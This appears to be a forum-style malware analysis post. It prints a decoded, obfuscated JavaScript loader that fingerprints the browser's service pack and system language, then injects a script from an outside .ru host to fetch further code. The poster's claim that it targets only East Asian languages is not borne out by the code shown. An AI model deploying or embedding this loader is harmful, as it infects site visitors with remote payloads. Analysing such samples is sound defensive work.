This is the decoded script:
document.Yzw7fPyy = 1;
if (!document.h3z067KE) {
var FKC0WSnq;
var rm25DIeW = navigator.appMinorVersion;
var AqGPcVOv = -1
var OgBEVkFm = "01";
while((AqGPcVOv = rm25DIeW.indexOf(";SP", AqGPcVOv+1)) != -1) {
var TeSqM1yN = rm25DIeW.charAt(AqGPcVOv+3);
if (TeSqM1yN == "1")
OgBEVkFm = "02";
else if (TeSqM1yN == "2")
OgBEVkFm = "03";
else if (TeSqM1yN == "3")
OgBEVkFm = "04";
else if (TeSqM1yN == "4")
OgBEVkFm = "05";
else if (TeSqM1yN == "5")
OgBEVkFm = "06";
else if (TeSqM1yN == "6")
OgBEVkFm = "07";
if (OgBEVkFm != "01")
break;
}
if (OgBEVkFm == "01" && rm25DIeW.indexOf("Release Candidate", 0) != -1)
OgBEVkFm = "08";
var A5FLhT6b = navigator.systemLanguage.substr(0, 10);
var Tizcz0pf = "";
for(var HaFFWtHn=0;HaFFWtHn<A5FLhT6b.length;HaFFWtHn++) {
hNelTw0w = A5FLhT6b.charCodeAt(HaFFWtHn).toString(16);
if (hNelTw0w < 2)
Tizcz0pf += "0";
Tizcz0pf += hNelTw0w;
}
while(Tizcz0pf.length < 20)
Tizcz0pf += "00";
var FKC0WSnq = OgBEVkFm + Tizcz0pf;
var tYAcPMfa = document.createElement("script");
tYAcPMfa.setAttribute("type", "text/javascript");
tYAcPMfa.setAttribute("src", "http://juc8.ru/cgi-bin/index.cgi?3c42f2a30100f0600077e0ed580660b8ab990274ebb2a0ff" + FKC0WSnq);
document.body.appendChild(tYAcPMfa);
}
Sorry, I do not have time now to calculate the download link, but I saw something interesting - the script will load only if the system language is set to far east Asian languages (Chinese and countries around China).